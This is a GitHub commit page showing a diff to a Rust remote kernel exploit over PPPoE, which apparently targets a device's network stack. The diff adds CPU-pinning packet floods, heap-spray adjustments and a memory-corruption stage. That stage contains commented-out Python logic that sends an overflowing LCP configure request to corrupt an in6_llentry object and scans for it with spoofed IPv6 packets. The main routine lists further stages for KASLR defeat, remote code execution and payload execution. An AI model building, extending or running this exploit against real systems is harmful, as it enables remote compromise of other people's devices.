Skip to content

Commit

Permalink
Start CPU Pinning
Browse files Browse the repository at this point in the history
  • Loading branch information
fedebuonco committed Oct 12, 2024
1 parent 5653b13 commit f06a128
Show file tree
Hide file tree
Showing 3 changed files with 125 additions and 15 deletions.
1 change: 1 addition & 0 deletions src/constants.rs
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,7 @@ pub const PPPOE_HEADER_LEN: usize = 6;
pub const PPPOE_TAG_HEADER_LEN: usize = 4;
pub const PPPOE_SOFTC_SC_DEST: u64 = 0x24;
pub const SPRAY_NUM: u32 = 0x1000;
pub const PIN_NUM: u32 = 0x1000;
pub const LCP_ID: u8 = 0x41;
pub const FAKE_PRIMARY_DNS_SERVER: [u8; 4] = [0, 0, 0, 0];
pub const LCP_CONF_REQ: u8 = 1;
Expand Down
110 changes: 109 additions & 1 deletion src/exploit.rs
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@ use std::str::FromStr; // Add this line to bring FromStr into scope
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use std::thread::{self, JoinHandle};
use std::time;

pub struct LcpEchoHandler<'a> {
interface: &'a NetworkInterface,
Expand Down Expand Up @@ -315,6 +316,113 @@ impl Exploit {
);
println!("[+] Heap grooming...done");
}

pub fn memory_corruption(&mut self, interface: &NetworkInterface) {
// # Send invalid packet to trigger a printf in the kernel. For some
// # reason, this causes scheduling on CPU 0 at some point, which makes
// # the next allocation use the same per-CPU cache.
// Open channel
let (mut tx, mut _rx) = match datalink::channel(interface, Default::default()) {
Ok(Ethernet(tx, rx)) => (tx, rx),
Ok(_) => panic!("Unhandled channel type"),
Err(e) => panic!(
"An error occurred when creating the datalink channel: {}",
e
),
};
pin_to_cpu_0(tx.as_mut(), self.source_mac, self.target_mac);
thread::sleep(time::Duration::from_secs(1));

// Corrupt in6_llentry object
// overflow_lle = self.build_overflow_lle()
// print('[*] Sending malicious LCP configure request...')
// for i in range(self.CORRUPT_NUM):
// self.s.send(
// Ether(src=self.source_mac,
// dst=self.target_mac,
// type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) /
// PPP() / PPP_LCP(code=CONF_REQ,
// id=self.LCP_ID,
// len=TARGET_SIZE + 4,
// data=(PPP_LCP_Option(data=b'A' *
// (TARGET_SIZE - 4)) /
// PPP_LCP_Option(data=overflow_lle))))

// print('[*] Waiting for LCP configure reject...')
// while True:
// pkt = self.s.recv()
// if pkt and pkt.haslayer(PPP_LCP_Configure) and pkt[
// PPP_LCP_Configure].code == CONF_REJ:
// break

// # Re-negotiate after rejection
// self.lcp_negotiation()
// self.ipcp_negotiation()

// corrupted = False
// for i in reversed(range(self.SPRAY_NUM)):
// if i % 0x100 == 0:
// print('[*] Scanning for corrupted object...{}'.format(hex(i)),
// end='\r',
// flush=True)

// if i >= self.HOLE_START and i % self.HOLE_SPACE == 0:
// continue

// source_ipv6 = 'fe80::{:04x}:4141:4141:4141'.format(i)

// self.s.send(
// Ether(src=self.source_mac, dst=self.target_mac) /
// IPv6(src=source_ipv6, dst=self.target_ipv6) /
// ICMPv6EchoRequest())

// while True:
// pkt = self.s.recv()
// if pkt:
// if pkt.haslayer(ICMPv6EchoReply):
// break
// elif pkt.haslayer(ICMPv6ND_NS):
// corrupted = True
// break

// if corrupted:
// break

// self.s.send(
// Ether(src=self.source_mac, dst=self.target_mac) /
// IPv6(src=source_ipv6, dst=self.target_ipv6) /
// ICMPv6ND_NA(tgt=source_ipv6, S=1) /
// ICMPv6NDOptDstLLAddr(lladdr=self.source_mac))

// if not corrupted:
// print('[-] Scanning for corrupted object...failed. Please retry.')
// exit(1)

// print(
// '[+] Scanning for corrupted object...found {}'.format(source_ipv6))
}
}

fn pin_to_cpu_0(tx: &mut dyn DataLinkSender, source_mac: [u8; 6], target_mac: [u8; 6]) {
for i in 0..constants::PIN_NUM {
println!("[+] Pinning to CPU 0...{:?}%", 100 * i / constants::PIN_NUM);
// Create etherpacket
let packet = ether::Builder::default()
.source(source_mac.into())
.unwrap()
.destination(target_mac.into())
.unwrap()
.protocol(ether::Protocol::PppoeSession)
.unwrap()
.build()
.unwrap();
// Send the request
let _result = tx
.send_to(packet.as_slice(), None)
.expect("[-] Failed to send etherpacket");
thread::sleep(time::Duration::from_millis(1));
println!("[+] Pinning to CPU 0...done")
}
}

fn is_ipcp_conf_req(data: &[u8]) -> bool {
Expand Down Expand Up @@ -541,7 +649,7 @@ fn spray(
target_mac: [u8; 6],
target_v6: [u8; 16],
) {
for i in 1..constants::SPRAY_NUM {
for i in 0..constants::SPRAY_NUM {
println!("[+] Heap Grooming at {:?}%", 100 * i / constants::SPRAY_NUM);
let source_v6_string = format!("fe80::{:04x}:4141:4141:4141", i);
let source_v6: [u8; 16] = std::net::Ipv6Addr::from_str(&source_v6_string)
Expand Down
29 changes: 15 additions & 14 deletions src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -30,21 +30,22 @@ fn run_exploit(interface_name: String) {
expl.ipcp_negotiation(&interface);
println!("[*] Initial Negotiations Done...");
println!("[*] Starting Heap Grooming...");
expl.heap_grooming(&interface); //TODO make the session ids actually replying to the actual messages
expl.heap_grooming(&interface);
println!("[*] STAGE 1: Memory corruption");
println!("[+] Pinning to CPU 0...done");
println!("[*] Corrupt in6_llentry object...");
println!("[*] Sending malicious LCP configure request...");
println!("[*] Waiting for LCP configure reject...");
// Negotiate after rejection
expl.lcp_negotiation(&interface);
expl.ipcp_negotiation(&interface);
println!("[+] STAGE 2: KASLR defeat");
println!("[+] STAGE 3: Remote code execution");
expl.ppp_negotiation(&interface);
expl.lcp_negotiation(&interface);
expl.ipcp_negotiation(&interface);
println!("[+] STAGE 4: Arbitrary payload execution");
expl.memory_corruption(&interface);
// println!("[+] Pinning to CPU 0...done");
// println!("[*] Corrupt in6_llentry object...");
// println!("[*] Sending malicious LCP configure request...");
// println!("[*] Waiting for LCP configure reject...");
// // Negotiate after rejection
// expl.lcp_negotiation(&interface);
// expl.ipcp_negotiation(&interface);
// println!("[+] STAGE 2: KASLR defeat");
// println!("[+] STAGE 3: Remote code execution");
// expl.ppp_negotiation(&interface);
// expl.lcp_negotiation(&interface);
// expl.ipcp_negotiation(&interface);
// println!("[+] STAGE 4: Arbitrary payload execution");
handler.stop();
println!("[*] DONE!");
}
Expand Down

0 comments on commit f06a128

Please sign in to comment.